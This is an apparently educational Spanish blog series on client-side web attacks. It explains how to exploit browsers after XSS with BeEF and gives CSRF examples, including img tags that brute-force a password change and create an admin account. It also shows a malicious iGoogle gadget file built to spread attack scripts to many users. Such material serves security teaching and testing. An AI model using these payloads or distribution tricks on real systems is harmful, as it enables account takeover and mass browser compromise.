Client Side Attacks (III): Sacando Provecho

  ****************************************************
    Client Side Attacks (I): Introducción
    Client Side Attacks (II): Infectando Navegadores
    Client Side Attacks (III): Sacando provecho
    Client Side Attacks (IV): Otros ataques
  ****************************************************

En las con entradas anteriores hemos visto en qué consisten los ataques del lado del cliente y cómo hacernos con el control de los navegadores de nuestras víctimas. Ahora es el turno de ver cómo sacar provecho de estos navegadores una vez están bajo nuestro control.

Como ya dijimos también, el Cross Site Scripting (XSS) es el rey de los ataques del lado del cliente. Por ello voy a comenzar por él, continuando con el Cross Site Request Forgery (CSRF ó XSRF) y dejando otros ataques para la última entrada de la serie.

Uno de los problemas de explotar un XSS es que el exploit hay que programarlo en Javascript, que es un lenguaje que puede resultar un tanto desagradable para aquellos que no están acostumbrados a trabajar con él. Por suerte, del mismo modo que existe Metasploit para la explotación de (prácticamente todos los tipos de) exploits; para la explotación de XSS está BeEF, un potente framework que nos ofrece multitud de distintas posibilidades.

The Browser Exploitation Framework (BeEF)

El objetivo de esta entrada no es describir en profundidad esta herramienta, ya que ello me podría llevar varias entradas. Tan sólo voy a resumiros algunas de las posibilidades que ofrece y que, personalmente, considero de las más interesantes para nuestro propósito de hoy.

Partiendo de la hipótesis de que hubiéramos conseguido "infectar" a una serie de víctimas por medio de un Cross Site Scripting y dependiendo del navegador que éstas utilicen, BeEF nos permite:

• Obtener información como la versión del sistema operativo y del navegador que utilizan los usuarios, además de los diferentes plugins que puedan tener instalados.

• Modificar parte o todo el contenido del sitio web  (Website Defacement) por el que la víctima está  navegando y que se corresponde con el sitio en donde hemos conseguido explotar el XSS.

• Analizar el sitio en busca de otras vulnerabilidades como inyecciones de código SQL o Cross Site Request Forgery (XSRF).

• Analizar la red en la que se encuentra la víctima en busca de nuevos equipos y servidores y la posibilidad de realizarles un escáner de puertos. (Esto ya es bastante INTERESANTE).

• Utilizar el navegador de la víctima como proxy para navegar dentro del dominio afectado por el XSS utilizando la sesión de la propia víctima (Session Hijacking).

• Explotación de vulnerabilidades conocidas en servidores JBoss, vTiger CRM, algunos sistemas Linksys...

• Integración con Metasploit para la explotación de todo tipo de exploits en los navegadores web de los usuarios.

Es decir, a partir de un inocente Cross Site Scripting en cualquier servidor podemos, por ejemplo, analizar la red local de un empleado de una empresa mediante barridos de ping y análisis de puertos, lo que desde el punto de vista de un pentester podría significar una primera impresión de la red.

Lógicamente, desde este mismo punto de vista es mucho más interesante la integración con Metasploit, que nos proporcionaría el paso que nos faltaría dar para entrar del todo al interior de la LAN corporativa.

Por desgracia, en los test de intrusión no es habitual que se permita atacar al usuario ya que esto normalmente está más pensado para auditorías técnicas que se mezclen con técnicas de Ingeniería Social.

Os dejo un vídeo algo largo, pero muy completo, para que veáis BeEF en acción y os anime a probarlo:

Cross Domain y Cross Site Request Forgery

Pasando a otro tipo de ataque, si decía que el XSS era el rey, podríamos decir que el Cross Site Request Forgery es casi la oveja negra de los ataques del lado de cliente. Esto no lo digo porque no sea útil ni peligroso, sino porque apenas se le hace caso o incluso se infravalora, ignorando el riesgo real de este tipo de ataque.

Para explicar en qué consiste voy a poneros como ejemplo la vulnerabilidad de XSRF que se detectó en Gmail allá por el 2009 por lo visual que es al encontrarse en un formulario de cambio de contraseña. Imaginad que al hacer un cambio de contraseña en Gmail, la URL que se enviara al servidor fuera la siguiente:

https://mail.google.com/changePassword?user=pepito&oldpassword=123456&newpassword=qwerty

Al saber que esta URL no está protegida de ataques de XSRF, podríamos hacer un ataque de fuerza bruta haciendo que nuestra víctima entre a una URL maliciosa en donde hubiera miles (es un ataque por diccionario) de tags HTML como los siguientes:

<img src="https://mail.google.com/changePassword?user=víctima&oldpassword=pass1&newpassword=mypassword" />

<img src="https://mail.google.com/changePassword?user=víctima&oldpassword=pass2&newpassword=mypassword" />

<img src="https://mail.google.com/changePassword?user=víctima&oldpassword=pass3&newpassword=mypassword" />

[...]

Al ser un tag "img", la URL que hay dentro del atributo "src" se acaba ejecutando para tratar de cargar la imagen pero, en este caso, lo que realmente se está haciendo es tratar de cambiar la contraseña del usuario "víctima" por una que nosotros conocemos (mypassword). Para ello, como veis, lo que se hace es ir cambiando el campo "oldpassword" de manera que si alguna de las que probamos da la casualidad que es la de nuestra víctima, Gmail creerá que es la víctima la que realmente está haciendo el cambio de contraseña y, por tanto, procederá al cambio. Habríamos robado la cuenta de correo de la víctima. (Imagino que no hace falta decir que esto ya está más que corregido... así que no hace falta que lo probéis (en Gmail)).

Vale, ya sabemos qué es eso del XSRF pero ¿y lo del Cross Domain? Pues bien, el Cross Domain es un ataque bastante antiguo por el cual se permitía acceder a través de Javascript (o cualquier otro lenguaje script) a información de otros dominios. Es decir, si el atacante tenía el dominio "atacante.com", podía incluir en su página web código script que accediera a Facebook y le enviara la cookie de sesión del usuario que había accedido.

Por suerte, los navegadores modernos (cualquiera a partir de IE6 o FF2) implementan la política de mismo origen (same origin policy). Esta política evita que desde código script, ya sea Javascript, Flash o cualquier otra tecnología soportada por el navegador, se pueda acceder a páginas de diferentes dominios.

Pero existe un problema con la manera que tienen los navegadores de implementar esta política que hace que aún se pueda utilizar este viejo método para realizar ataques de tipo Cross Site Request Forgery. Me explico...

La mayoría de navegadores (al menos en los que lo he probado que han sido Chrome y Firefox), al realizar una petición con XMLHttpRequest a otro dominio, envían la petición correctamente al servidor en cuestión y es al recibir la respuesta cuando se produce una excepción que hace que no se pueda interpretar.

Esto, como digo, se puede utilizar para realizar peticiones a sitios que sean vulnerables a XSRF, ya sea por GET o por POST. De manera que si nos encontráramos con una Intranet vulnerable que tuviera una URL para crear usuario como:

http://www.intranet.com/admin/createUser?username=nuevousuario&password=[valor_md5]

Bastaría con incluir un fragmento de código Javascript como los de antes en una URL y hacer que el administrador de la Intranet vulnerable acceda a ella:

<img src="http://www.intranet.com/admin/createUser?username=attacker&password=5f4dcc3b5aa765d61d8327deb882cf99" />

En esta entrada hemos visto dos de los ataques del lado del cliente más peligrosos (y frecuentes), pero no son los únicos. Por lo que dejo para la próxima un ataque que, personalmente, me gusta bastante aunque resulte un tanto complejo de explotar en un entorno real... ¿adivináis cuál?

Client Side Attacks (II): Infectando Navegadores

  ****************************************************
    Client Side Attacks (I): Introducción
    Client Side Attacks (II): Infectando Navegadores
    Client Side Attacks (III): Sacando provecho
    Client Side Attacks (IV): Otros ataques
  ****************************************************

En la entrada anterior vimos en qué consistían los ataques del lado del cliente con un ejemplo práctico que permitía robar la sesión de un usuario que se viera afectado por un Cross Site Scripting. Pero, ¿cómo sacar provecho de este tipo de ataques en un caso real como podría ser un test de intrusión?

Teniendo en cuenta que hasta ahora nos estamos centrando únicamente en los XSS, cuando intentamos responder a la pregunta anterior, se nos plantean dos grandes problemas. El primero de ellos es tener el conocimiento suficiente de Javascript como para ser capaces de programar un exploit y el segundo es cómo conseguir infectar al mayor número de usuarios posible o al menos a aquellos que nos interesan para conseguir nuestro objetivo.

Esta entrada la voy a dedicar al segundo de estos problemas...

Infectando Navegadores

Lo habitual es pensar en enviar un correo electrónico o publicar el enlace en algún blog o red social para que la gente pinche sobre él. Pero en estos casos nos encontramos con el problema que ya planteamos en la entrada anterior con soft: en el momento que el usuario abandone la URL con el XSS inyectado, perderemos el control sobre el navegador del usuario.

Una manera de solucionarlo es publicar el código malicioso en sitios como foros (cada vez en más difícil encontrar foros vulnerables a Cross Site Scripting) o incluso en algún dominio que controlemos y atraer a los usuarios hasta él... Aunque puestos a desear, está claro que lo mejor es inyectar el código en donde los usuarios ya están y donde pasan la mayor parte de su tiempo; es decir, en las redes sociales o páginas de inicio típicas como motores de búsqueda o escritorios web.

Esto puede parecer bastante difícil. ¿Un Cross Site Scripting en Google? Sí, los hay, pero se puede obtener el mismo resultado de maneras más fáciles y, sobretodo, duraderas.

Yo, al igual que otra mucha gente que conozco, utilizo iGoogle como página de inicio. Tanto éste como otros escritorios web se componen de gagdets, que no son más que iframes con alguna URL dentro... Es decir, que si alguien se entretiene y publica un gadget con un contenido atractivo además del código malicioso y lo comienza a distribuir... es muy fácil que la gente se lo instale en su escritorio web y cada vez que entren (que debería ser bastante a menudo) tendremos nuestro script/exploit en sus navegadores.

Además, para compartir un gadget para iGoogle, ni siquiera hace falta publicarlo en su directorio de gadgets. Basta con distribuir una URL como la siguiente que, además, pertenece a Google y parece totalmente inofensiva, facilitando ser publicada y distribuida a través de redes sociales:

http://www.google.es/ig/directory?hl=es&type=gadgets&url=www.sitiomalicioso.com/gadget.xml

El contenido del fichero XML que muestra la URL anterior (gadget.xml) es el siguiente:

<?xml version="1.0" encoding="UTF-8" ?>
<Module>
    <ModulePrefs
        author="Attacker"
        author_email="fakemail@gmail.com"
        author_location="123 Fake Street"
        description="This gadget is a PoC for La X marca el lugar"
        title="La X marca el lugar Gadget!!"
        directory_title="La X marca el lugar Gadget!!"
        thumbnail="http://www.sitiomalicioso.com/LaX_trans.png">
        <Require feature="views" />
    </ModulePrefs>
    <Content type="url" view="home" href="http://www.sitiomalicioso.com/index.html" />
</Module>

Con él se definen cada uno de los campos que luego se muestran en la imagen anterior y se especifica (línea 13, tag Content) la URL que estará dentro del iframe del gadget final. Si os interesa saber más sobre cómo diseñar vuestros gadgets podéis consultarlo en la Guía del desarrollador de iGoogle.

Si desde la URL anterior pulsamos en el botón "Añadir ahora",  el gadget se instala, pasando a formar parte de nuestro iGoogle:

Una vez instalado funciona como cualquier otro gadget "oficial", permitiendo incluso que los propios usuarios lo compartan por el procedimiento habitual desde el enlace que se proporciona en iGoogle.

Llevando esta idea un poco más al extremo y ya puestos... ¿por qué no implementar un jueguecillo de esos que enganchan para Facebook y que incluya nuestro script? Con un FarmVille o similar podríamos llegar a tener miles (millones) de usuarios infectados al cabo de unas semanas.

Por tanto, ya hemos conseguido solucionar el segundo de nuestros problemas. Infectar a muchos usuarios de una manera sencilla y sin llamar la atención con spam. En la próxima entrada, veremos qué hacer desde los navegadores una vez que ya los controlamos ;)